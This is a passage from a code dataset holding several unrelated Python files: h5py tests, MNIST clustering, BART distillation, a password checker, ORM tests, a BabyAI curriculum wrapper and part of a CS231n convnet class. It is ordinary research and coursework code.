setup_client.channel.exchange_declare(exchange=\"management_exchange\", exchange_type=\"topic\", durable=True)\n\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"513176440","text":"from tempfile import mktemp\n\nfrom h5py import tests\nimport h5py\n\nclass Base(tests.HTest):\n\n def setUp(self):\n self.name = mktemp()\n self.f = h5py.File(self.name, 'w')\n\n def tearDown(self):\n import os\n try:\n if self.f:\n self.f.close()\n finally:\n if self.name and os.path.exists(self.name):\n os.unlink(self.name)\n\nclass TestComparison(Base):\n\n def test_eq(self):\n \"\"\" (HLObject) __eq__ and __ne__ are opposite (files and groups) \"\"\"\n g1 = self.f.create_group('a')\n g2 = self.f['a']\n g3 = self.f.create_group('b')\n f1 = self.f\n f2 = g1.file\n self.assert_(g1 == g2)\n self.assert_(not g1 != g2)\n self.assert_(g1 != g3)\n self.assert_(not g1 == g3)\n self.assert_(f1 == f2)\n self.assert_(not f1 != f2)\n \n def test_grp(self):\n \"\"\" (HLObject) File objects don't compare equal to root group \"\"\"\n g = self.f['/']\n self.assert_(not g == self.f)\n self.assert_(g != self.f)\n\nclass TestProps(Base):\n\n def test_file2(self):\n \"\"\" (HLObject) .file \"\"\"\n g = self.f.create_group('foo')\n g2 = self.f.create_group('foo/bar')\n self.assertEqual(self.f, self.f.file)\n self.assertEqual(self.f, g.file)\n self.assertEqual(self.f, g2.file)\n\n def test_parent(self):\n \"\"\" (HLObject) .parent \"\"\"\n self.assertEqual(self.f.parent, self.f['/'])\n g = self.f.create_group('a')\n g2 = self.f.create_group('a/b')\n self.assertEqual(g2.parent, g)\n self.assertEqual(g.parent, self.f['/'])\n\nclass TestProps(Base):\n\n @tests.require(api=18)\n def test_lcpl(self):\n \"\"\" (HLObject) lcpl \"\"\"\n lcpl = self.f._lcpl\n self.assertIsInstance(lcpl, h5py.h5p.PropLCID)\n\n @tests.require(api=18)\n def test_lapl(self):\n \"\"\" (HLObject) lapl \"\"\"\n lapl = self.f._lapl\n self.assertIsInstance(lapl, h5py.h5p.PropLAID)\n\n\n\n\n\n\n\n\n","sub_path":"h5py/tests/high/test_hlobject.py","file_name":"test_hlobject.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"165675975","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import GridSearchCV, train_test_split\r\nimport pylab as pl\r\nfrom sklearn.cluster import KMeans, SpectralClustering, FeatureAgglomeration\r\nfrom sklearn.metrics.cluster import completeness_score\r\nfrom sklearn import (manifold, decomposition)\r\nfrom sklearn import metrics\r\nfrom sklearn.datasets import fetch_openml\r\nfrom sklearn.utils import shuffle\r\nfrom sklearn import cluster\r\nfrom sklearn.neighbors import kneighbors_graph\r\nimport time\r\nimport datetime as dt\r\n\r\n\r\nstart_time = dt.datetime.now()\r\nprint('Start learning at {}'.format(str(start_time)))\r\nmnist = fetch_openml('mnist_784')\r\nprint(mnist.data.shape)\r\nX, y = np.float32(mnist.data[:70000])/ 255., np.float32(mnist.target[:70000])\r\nX, y = shuffle(X,y)\r\nX_train, y_train = np.float32(X[:5000])/255., np.float32(y[:5000])\r\nX_test, y_test = np.float32(X[60000:])/ 255., np.float32(y[60000:])\r\nX_reduced = manifold.SpectralEmbedding(n_components=2, affinity='nearest_neighbors', gamma=None, n_neighbors=5).fit_transform(X_train)\r\n\r\n\r\nspectral = cluster.SpectralClustering(n_clusters=10, eigen_solver='arpack', affinity=\"nearest_neighbors\")\r\nX = spectral.fit(X_reduced)\r\ny_pred = spectral.fit_predict(X_reduced)\r\nfig = plt.figure()\r\n\r\nfor i in range(0, X_reduced.shape[0]):\r\n if spectral.labels_[i] == 0:\r\n c1 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='red')\r\n elif spectral.labels_[i] == 1:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='blue')\r\n elif spectral.labels_[i] == 2:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='yellow')\r\n elif spectral.labels_[i] == 3:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='green')\r\n elif spectral.labels_[i] == 4:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='gray')\r\n elif spectral.labels_[i] == 5:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='orange')\r\n elif spectral.labels_[i] == 6:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='black') \r\n elif spectral.labels_[i] == 7:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='azure')\r\n elif spectral.labels_[i] == 8:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='beige')\r\n elif spectral.labels_[i] == 9:\r\n c2 = pl.scatter(X_reduced[i,0], X_reduced[i,1], c='yellow') \r\n \r\nprint(\"pososto plirotitas :\")\r\nprint (completeness_score(y_train, y_pred))\r\nend_time = dt.datetime.now() \r\nprint('Stop learning {}'.format(str(end_time)))\r\nelapsed_time= end_time - start_time\r\nprint('Elapsed learning {}'.format(str(elapsed_time)))\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"mnistcluster.py","file_name":"mnistcluster.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"365144773","text":"from asian_bart import AsianBartForConditionalGeneration, AsianBartConfig\r\nfrom itertools import combinations\r\nfrom collections import OrderedDict\r\nfrom typing import List\r\n\r\nimport torch.nn as nn\r\nimport json\r\n\r\n\"\"\"\r\n\r\n0,1,2,3,4,5,6,7,8,9,10,11 => 3, 7 ,12 \r\nTo Leverage All Knowledge\r\n\"\"\"\r\n\r\nteacher_model = AsianBartForConditionalGeneration.from_pretrained(\r\n \"hyunwoongko/asian-bart-ecjk\"\r\n)\r\n\r\nteacher_config = AsianBartConfig.from_pretrained(\"hyunwoongko/asian-bart-ecjk\")\r\n\r\nencoder_teacher_layers = [i for i in range(teacher_config.encoder_layers)]\r\n\r\ndecoder_teacher_layers = [i for i in range(teacher_config.decoder_layers)]\r\n\r\n\r\ndef start(num_encoder: int, num_decoder: int) -> nn.Module:\r\n distill_config = make_config(num_encoder, num_decoder)\r\n student_encoder_layer, student_decoder_layer = make_layer(\r\n num_encoder, num_decoder, mode=\"default\"\r\n )\r\n student = AsianBartForConditionalGeneration(distill_config)\r\n\r\n model = make_student_model(\r\n student,\r\n except_encoder_layers=student_encoder_layer,\r\n execept_decoder_layer=student_decoder_layer,\r\n )\r\n return model\r\n\r\n\r\ndef make_student_model(\r\n student: nn.Module, except_encoder_layers, execept_decoder_layer\r\n) -> nn.Module:\r\n teacher_state_dict = teacher_model.state_dict()\r\n student_state_dict = OrderedDict()\r\n i = 0\r\n first = True\r\n module_flag = True\r\n for k, v in teacher_state_dict.items():\r\n\r\n if check(k, except_encoder_layers, execept_decoder_layer):\r\n continue\r\n\r\n if module_flag and \"decoder\" in k:\r\n i = -1\r\n module_flag = False\r\n\r\n try:\r\n if k[21:22].isnumeric():\r\n if k[22:23].isnumeric():\r\n new = k[21:23]\r\n else :\r\n new = k[21:22]\r\n if first:\r\n previous = new\r\n first = False\r\n if new != previous:\r\n i += 1\r\n if k[22:23].isnumeric(): # 10, 11\r\n k = k[:21] + f\"{i}\" + k[23:]\r\n else:\r\n k = k[:21] + f\"{i}\" + k[22:]\r\n previous = new\r\n except:\r\n continue\r\n student_state_dict[k] = v\r\n for k, v in student_state_dict.items():\r\n print(k)\r\n student.load_state_dict(student_state_dict)\r\n return student\r\n\r\n\r\ndef make_config(num_encoder: int, num_decoder: int) -> json:\r\n base_model_config = AsianBartConfig.from_pretrained(\"hyunwoongko/asian-bart-ecjk\")\r\n base_model_config.encoder_layers = num_encoder\r\n base_model_config.decoder_layers = num_decoder\r\n distill_config = base_model_config\r\n\r\n return distill_config\r\n\r\n\r\ndef check(\r\n k: List[str], execept_encoder_layer: List[str], execept_decoder_layer: List[str]\r\n):\r\n for except_layer in execept_encoder_layer:\r\n if except_layer in k:\r\n return True\r\n\r\n for except_layer in execept_decoder_layer:\r\n if except_layer in k:\r\n return True\r\n return False\r\n\r\n\r\ndef make_layer(n_encoder_target: int, n_decoder_target: int, mode: str = \"default\"):\r\n en_change = False\r\n de_change = False\r\n enc_space_limit = 0\r\n dec_space_limit = 0\r\n if n_encoder_target > 6:\r\n en_change = True\r\n n_encoder_target = teacher_config.encoder_layers - n_encoder_target\r\n\r\n if n_decoder_target > 6:\r\n de_change = True\r\n n_decoder_target = teacher_config.decoder_layers - n_decoder_target\r\n\r\n if n_encoder_target != 0:\r\n enc_space_limit = teacher_config.encoder_layers // n_encoder_target\r\n if n_decoder_target != 0:\r\n dec_space_limit = teacher_config.decoder_layers // n_decoder_target\r\n\r\n tmp_encoder_distill_layers = []\r\n tmp_decoder_distill_layers = []\r\n\r\n if mode == \"default\":\r\n enc_cnd_layers = combinations(encoder_teacher_layers, n_encoder_target)\r\n dec_cnd_layers = combinations(decoder_teacher_layers, n_decoder_target)\r\n\r\n for layers in enc_cnd_layers:\r\n for idx in range(1, len(layers)):\r\n if abs(layers[idx - 1] - layers[idx]) < enc_space_limit:\r\n break\r\n else:\r\n tmp_encoder_distill_layers.append(layers)\r\n tmp_encoder_distill_layers = tmp_encoder_distill_layers[0]\r\n\r\n for layers in dec_cnd_layers:\r\n for idx in range(1, len(layers)):\r\n if abs(layers[idx - 1] - layers[idx]) < dec_space_limit:\r\n break\r\n else:\r\n tmp_decoder_distill_layers.append(layers)\r\n tmp_decoder_distill_layers = tmp_decoder_distill_layers[0]\r\n elif mode == \"start\":\r\n tmp_encoder_distill_layers = encoder_teacher_layers[:n_encoder_target]\r\n tmp_decoder_distill_layers = decoder_teacher_layers[:n_decoder_target]\r\n elif mode == \"end\":\r\n tmp_encoder_distill_layers = encoder_teacher_layers[\r\n teacher_config.encoder_layers - n_encoder_target :\r\n ]\r\n tmp_decoder_distill_layers = decoder_teacher_layers[\r\n teacher_config.decoder_layers - n_decoder_target :\r\n ]\r\n else:\r\n raise ValueError(\"mode must be one of start, end, or default.\")\r\n\r\n encoder_distill_layers = tmp_encoder_distill_layers\r\n decoder_distill_layers = tmp_decoder_distill_layers\r\n # import pdb;pdb.set_trace()\r\n if mode == \"default\" and en_change:\r\n encoder_distill_layers = list(\r\n set(encoder_teacher_layers) - set(tmp_encoder_distill_layers)\r\n )\r\n if mode == \"default\" and de_change:\r\n decoder_distill_layers = list(\r\n set(decoder_teacher_layers) - set(tmp_decoder_distill_layers)\r\n )\r\n\r\n encoder_distill_layers = list(\r\n set(encoder_teacher_layers) - set(encoder_distill_layers)\r\n )\r\n decoder_distill_layers = list(\r\n set(decoder_teacher_layers) - set(decoder_distill_layers)\r\n )\r\n final_enc_list = []\r\n final_dec_list = []\r\n for encoder_layer in encoder_distill_layers:\r\n final_enc_list.append(f\"encoder.layers.{encoder_layer}\")\r\n\r\n for decoder_layer in decoder_distill_layers:\r\n final_dec_list.append(f\"decoder.layers.{decoder_layer}\")\r\n\r\n return final_enc_list, final_dec_list # Except 해야 할 layer 제공\r\n\r\n\r\nif __name__ == \"__main__\":\r\n model = print(\"Start distill.py\")\r\n encoder_distill_layers, decoder_distill_layers = make_layer(\r\n n_encoder_target=9, n_decoder_target=3, mode=\"default\"\r\n )\r\n print(f\"encoder_distill_layers : {encoder_distill_layers}\")\r\n print(f\"decoder_distill_layers : {decoder_distill_layers}\")\r\n start(num_encoder=9, num_decoder=3)\r\n","sub_path":"main/make_config.py","file_name":"make_config.py","file_ext":"py","file_size_in_byte":6690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"654156939","text":"pw = input()\r\n\r\ncount = [0,0,0,0]\r\n\r\nfor i in pw:\r\n if ord('A') <= ord(i) <= ord('Z'):\r\n count[0] += 1\r\n elif ord('a') <= ord(i) <= ord('z'):\r\n count[1] += 1\r\n elif 33 <= ord(i) <= 39:\r\n count[2] += 1\r\n elif ord('0') <= ord(i) <= ord('9'):\r\n count[3] += 1\r\n\r\ncnt = 0\r\nfor i in range(4):\r\n if count[i] > 0:\r\n cnt += 1\r\nif len(pw) < 8:\r\n print(\"NO\")\r\nelif cnt >= 2:\r\n print(\"YES\")\r\nelse:\r\n print(\"NO\")\r\n","sub_path":"5-10일 코드/1002번 비밀번호 적합성 확인.py","file_name":"1002번 비밀번호 적합성 확인.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"179062052","text":"def frange(x, y, jump=1.0):\n '''\n Range for floats.\n \n Parameters:\n x: range starting value, will be included.\n y: range ending value, will be excluded\n jump: the step value. Only positive steps are supported.\n \n Return:\n a generator that yields floats\n \n Usage:\n >>> list(frange(0, 1, 0.2))\n [0.0, 0.2, 0.4, 0.6000000000000001, 0.8]\n >>> list(frange(1, 0, 0.2))\n [1.0]\n >>> list(frange(0.0, 0.05, 0.1))\n [0.0]\n >>> list(frange(0.0, 0.15, 0.1))\n [0.0, 0.1]\n \n '''\n i = 0.0\n x = float(x) # Prevent yielding integers.\n y = float(y) # Comparison converts y to float every time otherwise.\n x0 = x\n epsilon = jump / 2.0\n yield x # yield always first value\n while x + epsilon < y:\n i += 1.0\n x = x0 + i * jump\n yield x","sub_path":"frange.py","file_name":"frange.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"498540542","text":"from datetime import date\n\nfrom sqlalchemy.orm import Session\n\nimport model\n\n\ndef test_orderline_mapper_can_load_lines(session: Session):\n session.execute(\n \"INSERT INTO order_lines (orderid, sku, qty) VALUES \"\n '(\"order1\", \"RED-CHAIR\", 12),'\n '(\"order1\", \"RED-TABLE\", 13),'\n '(\"order2\", \"BLUE-LIPSTICK\", 14)'\n )\n expected = [\n model.OrderLine(\"order1\", \"RED-CHAIR\", 12),\n model.OrderLine(\"order1\", \"RED-TABLE\", 13),\n model.OrderLine(\"order2\", \"BLUE-LIPSTICK\", 14),\n ]\n assert session.query(model.OrderLine).all() == expected\n\n\ndef test_orderline_mapper_can_save_lines(session: Session):\n new_line = model.OrderLine(\"order1\", \"DECORATIVE-WIDGET\", 12)\n session.add(new_line)\n session.commit()\n\n rows = list(session.execute('SELECT orderid, sku, qty FROM \"order_lines\"'))\n assert rows == [(\"order1\", \"DECORATIVE-WIDGET\", 12)]\n","sub_path":"test_orm.py","file_name":"test_orm.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"423832265","text":"from src.file_process import FileProcess\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVC\nfrom sklearn.decomposition import PCA\nimport numpy as np\nimport matplotlib.pyplot as plt\n#\nfp = FileProcess()\nX, y = fp.load_file()\n# print(\"X:\\n\", X)\n# X = [[1, 2, 3], [2, 4, 5, 6], [12, 3,4, 1, 3, 2, 31], [1, 1, 1, 1, 3]]\n# y = [0, 0, 1, 1]\n# def complement_X_missing(X, y):\n# X_copy = X.copy()\n# X_new = []\n#\n# while(True):\n# print(len(X_copy))\n# x_len = [len(x) for x in X_copy]\n# x_max_length_index = np.argmax(x_len)\n# max_length = x_len[x_max_length_index]\n# most_freq = np.argmax(np.bincount(x_len))\n# print(\"max len of x: %s, most freq len of x: %s\"%(max_length, most_freq))\n# if max_length > most_freq + 1:\n# X_copy = np.delete(X_copy, x_max_length_index)\n# y = np.delete(y, x_max_length_index)\n# else:\n# break\n# # complement zeros\n# for x in X_copy:\n# x = [x[i] if i < len(x) else 0 for i in range(max_length)]\n# X_new.append(x)\n# print(\"len(X_new): %s, len(y): %s\" % (len(X_new), len(y)))\n# return np.array(X_new), np.array(y)\n\nfor x in X:\n print(len(x))\n# X, y = complement_X_missing(X, y)\nstd = StandardScaler()\nX_std = std.fit_transform(X)\n\n# fit model\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0, stratify=y)\n\nstd = StandardScaler()\nX_train_std = std.fit_transform(X_train)\nX_test_std = std.transform(X_test)\n\npca = PCA(n_components=10)\nX_train_pca = pca.fit_transform(X_train_std)\nX_test_pca = pca.transform(X_test_std)\nsvc = SVC(gamma='auto')\nsvc.fit(X_train_pca, y_train)\n\nprint(\"training data accuracy:\", svc.score(X_train_pca, y_train))\nprint(\"testing data accuracy: \", svc.score(X_test_pca, y_test))\n\nfig = plt.figure()\nplt.subplots(121)\nfor hog in X_std[y==0]:\n plt.plot([i for i in range(len(hog))], hog)\nplt.title(\"angry\")\nplt.ylabel(\"value of hog\")\n\nplt.subplots(122)\nfor hog in X_std[y==3]:\n plt.plot([i for i in range(len(hog))], hog)\nplt.title(\"happy\")\nplt.ylabel(\"value of hog\")\nplt.show()\n# # visualize V0 and V3, they mean coordination of K0 and K0.\n# X_happy_x = []\n# X_happy_y = []\n# for i in range(len(X_train_pca[y_train == 3])):\n# X_happy_x.append(X_train_pca[y_train == 3][i][0])\n# X_happy_y.append(X_train_pca[y_train == 3][i][1])\n#\n# X_angry_x = []\n# X_angry_y = []\n# for i in range(len(X_train_pca[y_train == 0])):\n# X_angry_x.append(X_train_pca[y_train == 0][i][0])\n# X_angry_y.append(X_train_pca[y_train == 0][i][1])\n#\n# # #plot image\n# # visualize V0 and V1, v0 and v1 mean coordination of x,y\n# fig = plt.figure(figsize=(18, 9))\n# plt.subplot(1, 2, 1)\n# plt.scatter(X_happy_x, X_happy_y, label=\"Angry\", alpha=0.5)\n# plt.scatter(X_angry_x, X_angry_y,label=\"Happy\", alpha=0.5)\n# plt.title(\"The scatter of v0, v1\")\n# plt.xlabel(\"X\")\n# plt.ylabel(\"Y\")\n# plt.legend()\n# plt.show()","sub_path":"3DFER/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"451883833","text":"from meta_mb.utils.serializable import Serializable\nfrom babyai.levels.iclr19_levels import *\n\n\nclass Curriculum(Serializable):\n def __init__(self, advance_curriculum_func, start_index=None, **kwargs):\n \"\"\"\n\n :param advance_curriculum_func: Either 'one_hot' or 'smooth' depending on whether you want each level of the\n curriculum to be a single environment or a distribution over past environments\n :param start_index: what index of the curriculum to start on\n :param kwargs: arguments for the environment\n \"\"\"\n Serializable.quick_init(self, locals())\n self.advance_curriculum_func = advance_curriculum_func\n # List of all the levels. There are actually a bunch more: some ones which were omitted since they were\n # very similar to the current ones (e.g. more Level_GoToLocal variants with different sizes and num dists)\n # also some harder levels with multiple instructions chained together.\n self.levels_list = [\n Level_GoToRedBallNoDists(**kwargs), # 0\n Level_GoToRedBallGrey(**kwargs), # 1\n Level_GoToRedBall(**kwargs), # 2\n Level_GoToObjS4(**kwargs), # 3\n Level_GoToObjS6(**kwargs), # 4\n # Level_GoToObj(**kwargs), # 5\n # Level_GoToLocalS5N2(**kwargs), # 6\n # Level_GoToLocalS6N3(**kwargs), # 7\n # Level_GoToLocalS7N4(**kwargs), # 8\n # Level_GoToLocalS8N7(**kwargs), # 9\n # Level_GoToLocal(**kwargs), # 10\n # Level_PickupLocalS5N2(**kwargs), # 11\n # Level_PickupLocalS6N3(**kwargs), # 12\n # Level_PickupLocalS7N4(**kwargs), # 13\n # Level_PickupLocalS8N7(**kwargs), # 14\n # Level_PickupLocal(**kwargs), # 15\n # Level_PutNextLocalS5N3(**kwargs), # 16\n # Level_PutNextLocalS6N4(**kwargs), # 17\n # Level_PutNextLocal(**kwargs), # 18\n # Level_OpenLocalS5N3(**kwargs), # 19\n # Level_OpenLocalS6N4(**kwargs), # 20\n # Level_OpenLocal(**kwargs), # 21\n # Level_GoToObjMazeOpen(**kwargs), # 22\n # Level_GoToOpen(**kwargs), # 23\n # Level_GoToObjMazeS4R2(**kwargs), # 24\n # Level_GoToObjMazeS5(**kwargs), # 25\n # Level_GoToObjMaze(**kwargs), # 26\n # Level_Open(**kwargs), # 27\n # Level_GoTo(**kwargs), # 28\n # Level_Pickup(**kwargs), # 29\n # Level_Unlock(**kwargs), # 30\n # Level_GoToImpUnlock(**kwargs), # 31\n # Level_PutNext(**kwargs), # 32\n # Level_UnblockPickup(**kwargs), # 33\n ]\n # If start index isn't specified, start from the beginning (if we're using the pre-levels), or start\n # from the end of the pre-levels.\n if start_index is None:\n start_index = 0\n self.distribution = np.zeros((len(self.levels_list)))\n self.distribution[start_index] = 1\n self._wrapped_env = self.levels_list[start_index]\n self.index = start_index\n\n\n def __getattr__(self, attr):\n \"\"\"\n If normalized env does not have the attribute then call the attribute in the wrapped_env\n Args:\n attr: attribute to get\n\n Returns:\n attribute of the wrapped_env\n\n # \"\"\"\n try:\n results = self.__getattribute__(attr)\n return results\n except:\n if hasattr(self._wrapped_env, '_wrapped_env'):\n orig_attr = self._wrapped_env.__getattr__(attr)\n else:\n orig_attr = self._wrapped_env.__getattribute__(attr)\n\n if callable(orig_attr):\n def hooked(*args, **kwargs):\n result = orig_attr(*args, **kwargs)\n return result\n\n return hooked\n else:\n return orig_attr\n\n def advance_curriculum(self, index=None):\n if index is None:\n index = self.index + 1\n if self.advance_curriculum_func == 'one_hot':\n self.distribution = np.zeros((len(self.levels_list)))\n self.distribution[index] = 1\n elif self.advance_curriculum_func == 'smooth':\n # Advance curriculum by assigning 0.9 probability to the new environment and 0.1 to all past environments.\n self.distribution = np.zeros((len(self.levels_list)))\n self.distribution[index] = 0.9\n num_past_levels = index\n prev_env_prob = 0.1 / num_past_levels\n self.distribution[:index] = prev_env_prob\n else:\n raise ValueError('invalid curriculum type' + str(self.advance_curriculum_func))\n self.index = index\n if self.index >= len(self.levels_list):\n print(\"LEARNED ALL THE LEVELS!!\")\n print(\"updated curriculum\", self.index, type(self.levels_list[self.index]))\n\n def set_level(self, index):\n \"\"\"\n Set the curriculum at a certain level\n :param index: Index of the level to use\n \"\"\"\n self._wrapped_env = self.levels_list[index]\n\n def set_level_distribution(self, index):\n \"\"\"\n Set the curriculum at a certain level, and set the distribution to only sample that level.\n :param index: Index of the level to use\n \"\"\"\n self._wrapped_env = self.levels_list[index]\n self.distribution = np.zeros((len(self.levels_list)))\n self.distribution[index] = 1\n self.index = index\n\n def set_task(self, args):\n \"\"\"\n Each time we set a task, sample which babyai level to use from the categorical distribution array.\n Then set the task as usual.\n \"\"\"\n env_index = np.random.choice(np.arange(len(self.distribution)), p=self.distribution)\n self._wrapped_env = self.levels_list[env_index]\n return self._wrapped_env.set_task(args)\n","sub_path":"babyai/levels/curriculum.py","file_name":"curriculum.py","file_ext":"py","file_size_in_byte":5919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"114160857","text":"'''\nNOTE: To fully understand this code, you should learn a bit of Python3.\n'''\n\nimport string\nimport random\n\nT = 100\nprint(T)\n\nfor i in range(T):\n while True:\n n = random.randint(1, 100)\n name = ''.join(random.choice(string.ascii_lowercase) for _ in range(n))\n typed = ''.join(ch * random.choices([0, 1, 2, 3, 4], [1, 20, 20, 20, 20])[0] for ch in name)\n if len(typed) >= 1 and len(typed) <= 1000:\n break\n print(typed)\n print(name)\n","sub_path":"typing_game_1/case_generator.py","file_name":"case_generator.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"585006687","text":"import numpy as np\n\nfrom cs231n.layers import *\nfrom cs231n.fast_layers import *\nfrom cs231n.layer_utils import *\n\nclass ConvNet(object):\n \"\"\"\n A convolutional network with the following architecture:\n\n{conv-[batch norm]-relu-[dropout]-conv-[batch norm]-relu-[dropout]-pool}xN - {affine-[batch norm]-relu-[dropout]}xM - affine -[softmax]\n\n The network operates on minibatches of data that have shape (N, C, H, W)\n consisting of N images, each with height H and width W and with C input\n channels.\n \"\"\"\n\n def __init__(self, input_dim=(3, 32, 32), num_filters=32, filter_size=7,\n hidden_dims=[100], num_classes=10, weight_scale=1e-3, reg=0.0, \n conv_layers=1, affine_layers=1, use_batchnorm = True, dropout=0,\n xavier=False, dtype=np.float32, seed=None):\n \"\"\"\n Initialize a new network.\n\n Inputs:\n - input_dim: Tuple (C, H, W) giving size of input data\n - num_filters: Number of filters to use in the convolutional layer\n - filter_size: Size of filters to use in the convolutional layer\n - hidden_dim: Array of length affine_layers with number of units to use in each fully-connected hidden layer\n - num_classes: Number of scores to produce from the final affine layer.\n - weight_scale: Scalar giving standard deviation for random initialization\n of weights.\n - reg: Scalar giving L2 regularization strength\n - conv_layers: no of instances of the [conv-relu-conv-relu-pool] layer\n - use_batchnorm and dropout self explanatory\n - dtype: numpy datatype to use for computation.\n \"\"\"\n self.params = {}\n self.use_batchnorm = use_batchnorm\n self.use_dropout = dropout > 0\n self.reg = reg\n self.filter_size = filter_size\n self.dtype = dtype\n conv_param = {'stride': 1, 'pad': (filter_size - 1) / 2}\n pool_param = {'pool_height': 2, 'pool_width': 2, 'stride': 2}\n ############################################################################\n # TODO: Initialize weights and biases. Weights are initialized from a Gaussian with standard #\n # deviation equal to weight_scale; biases should be initialized to zero. #\n # All weights and biases should be stored in the dictionary self.params. #\n # Store weights and biases for the convolutional layer using the keys 'W1' #\n # and 'b1'; use keys 'W2' and 'b2' for the weights and biases of the #\n # hidden affine layer, and keys 'W3' and 'b3' for the weights and biases #\n # of the output affine layer. #\n ############################################################################\n \n w_count = 1\n prev_depth = input_dim[0]\n width = filter_size\n height = filter_size\n \n for i in range(conv_layers):\n if xavier:\n self.params['W' + str(w_count)] = np.random.randn(num_filters, prev_depth, height, width) / np.sqrt(prev_depth*height* width/2.0)\n else:\n self.params['W' + str(w_count)] = weight_scale * np.random.randn(num_filters, prev_depth, height, width)\n self.params['b' + str(w_count)] = np.zeros(num_filters)\n \n if use_batchnorm:\n key = 'bn' + str(w_count)\n bn = np.ones((2, num_filters))\n bn[1,:] = 0\n self.params[key] = bn\n \n w_count += 1\n prev_depth = num_filters\n if xavier:\n self.params['W' + str(w_count)] = np.random.randn(num_filters, prev_depth, height, width) / np.sqrt(prev_depth*height* width/2.0)\n else:\n self.params['W' + str(w_count)] = weight_scale * np.random.randn(num_filters, prev_depth, height, width)\n self.params['b' + str(w_count)] = np.zeros(num_filters)\n \n if use_batchnorm:\n key = 'bn' + str(w_count)\n bn = np.ones((2, num_filters))\n bn[1,:] = 0\n self.params[key] = bn\n \n w_count += 1\n prev_depth = num_filters\n Hout = 1 + (input_dim[1] + 2 * conv_param['pad'] - filter_size) / conv_param['stride'] \n Wout = 1 + (input_dim[2] + 2 * conv_param['pad'] - filter_size) / conv_param['stride'] \n height = 1 + (Hout - pool_param['pool_height']) / pool_param['stride'] \n width = 1 + (Wout - pool_param['pool_width']) / pool_param['stride']\n \n \n inp = num_filters*height*width\n for i in range(affine_layers):\n if xavier:\n self.params['W' + str(w_count)] = np.random.randn(inp, hidden_dims[i])/np.sqrt(inp/2.0)\n else:\n self.params['W' + str(w_count)] = weight_scale * np.random.randn(inp, hidden_dims[i])\n self.params['b' + str(w_count)] = np.zeros(hidden_dims[i])\n \n if use_batchnorm:\n key = 'bn' + str(w_count)\n bn = np.ones((2, hidden_dims[i]))\n bn[1,:] = 0\n self.params[key] = bn\n \n w_count += 1\n inp = hidden_dims[i]\n \n if xavier:\n self.params['W' + str(w_count)] = np.random.randn(inp, num_classes)/np.sqrt(inp/2.0)\n else:\n self.params['W' + str(w_count)] = weight_scale * np.random.randn(inp, num_classes)\n self.params['b' + str(w_count)] = np.zeros(num_classes)\n self.w_count = w_count + 1\n self.conv_layers = conv_layers\n self.affine_layers = affine_layers\n ############################################################################\n # END OF YOUR CODE #\n ############################################################################\n \n self.dropout_param = {}\n if self.use_dropout:\n self.dropout_param = {'mode': 'train', 'p': dropout}\n if seed is not None:\n self.dropout_param['seed'] = seed\n \n self.bn_params = []\n if self.use_batchnorm:\n self.bn_params = [{'mode': 'train'} for i in xrange(1, self.w_count - 1)]\n\n \n for k, v in self.params.iteritems():\n self.params[k] = v.astype(dtype)\n\n def loss(self, X, y=None):\n \"\"\"\n Evaluate loss and gradient for the three-layer convolutional network.\n\n Input / output: Same API as TwoLayerNet in fc_net.py.\n \"\"\"\n mode = 'test' if y is None else 'train'\n w_count = self.w_count\n if self.dropout_param is not None:\n self.dropout_param['mode'] = mode \n self.bn_params = []\n if self.use_batchnorm:\n self.bn_params = [{'mode': 'train'} for i in xrange(w_count - 1)]\n\n \n conv_layers = self.conv_layers\n affine_layers = self.affine_layers \n # pass conv_param to the forward pass for the convolutional layer\n filter_size = self.filter_size\n conv_param = {'stride': 1, 'pad': (filter_size - 1) / 2}\n\n # pass pool_param to the forward pass for the max-pooling layer\n pool_param = {'pool_height': 2, 'pool_width': 2, 'stride': 2}\n\n scores = None\n ############################################################################\n # TODO: Implement the forward pass for the convolutional net, #\n # computing the class scores for X and storing them in the scores #\n # variable. #\n ############################################################################\n N = X.shape[0]\n cache = {}\n layers = {}\n layers[1] = X\n wi = 1\n for i in range(conv_layers):\n cache_local = {}\n if self.use_batchnorm:\n layer, cache_local['conv'] = conv_bn_relu_fwd(layers[wi], self.params['W' + str(wi)], self.params['b' + str(wi)], self.params['bn' + str(wi)], conv_param, self.bn_params[wi])\n else:\n layer, cache_local['conv'] = conv_relu_forward(layers[wi], self.params['W' + str(wi)], self.params['b' 